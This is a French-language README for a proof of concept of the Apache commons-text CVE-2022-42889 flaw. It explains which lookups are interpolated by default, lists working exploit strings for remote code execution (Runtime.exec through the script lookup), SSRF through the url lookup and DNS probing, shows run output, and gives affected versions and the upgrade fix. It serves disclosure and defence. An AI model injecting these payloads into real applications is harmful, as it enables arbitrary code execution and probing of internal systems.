
Preuve de concept pour la vulnérabilité Apache commons-text CVE-2022-42889.
Ceci est une preuve de concept pour la vulnérabilité CVE-2022-42889. Ce code exécute le code JavaScript 195 + 324. Si vulnérable, le résultat devrait être :
Sortie de la preuve de concept : 519
Pour exécuter ceci, vous aurez besoin de :
Lorsque vous serez invité à entrer une chaîne d'exploitation, vous pouvez soit fournir votre propre chaîne d'exploitation (et appuyer sur Entrée pour la saisir), soit simplement appuyer sur Entrée pour utiliser la chaîne d'exploitation par défaut ${script:javascript:195 + 324}.
Alternativement, vous pouvez utiliser Docker pour exécuter cette preuve de concept :
docker build -t poc .
docker run -it poc
Le problème vient du fait que les clés suivantes ne devraient pas être interpolées par défaut (selon la documentation https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html) :
scriptdnsurlCette recherche permet d'exécuter le code JavaScript fourni. Le résultat est la capacité pour un attaquant d'exécuter du code arbitraire sur le système.
${script:<moteur>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Exemple dans la preuve de concept :
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
Cette recherche appelle l'URL spécifiée. Un attaquant pourrait exploiter cela pour effectuer des requêtes GET simples vers des ressources internes.
${url:<encodage-caractères>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Exemple dans la preuve de concept :
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
Cette recherche effectue une requête DNS ou une recherche inversée. Cela pourrait permettre à un attaquant d'identifier des ressources internes.
${dns:<adresse,nom-canonique,nom>|<hôte>}
${dns:address|internal-jenkins.companyx.net}
Exemple dans la preuve de concept :
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
Cependant, en raison d'une faille dans la logique, ces 3 clés sont interpolées par défaut, alors qu'elles ne devraient pas l'être (car elles pourraient représenter un risque de sécurité).
Un attaquant ayant le contrôle sur la chaîne passée dans un remplacement StringSubstitutor affecté pourrait permettre à l'attaquant de :
StringSubstitutorPour que votre code soit vulnérable, vous devez :
Exécuter une version d'Apache commons-text de la version 1.5.0 jusqu'à (mais excluant) 1.10.0
Utiliser l'interpolation pour votre StringSubstitution (voir https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
Notez que dans JDK 15 et ultérieur, le moteur JavaScript Nashorn n'est plus inclus. Cependant, le moteur JEXL est toujours inclus et par conséquent une RCE peut encore être possible.
(remerciements à rgmz pour avoir souligné ceci)
Le correctif consiste à mettre à jour vos instances de commons-text vers les versions 1.10.0 ou ultérieures.
Les autres recherches par défaut pourraient encore potentiellement représenter un risque de sécurité (comme la capacité de lire le contenu de fichiers, lire les propriétés système, etc.). Utilisez cette fonctionnalité avec prudence et assurez-vous que toutes les entrées utilisateur sont correctement nettoyées (par exemple en passant par une liste blanche).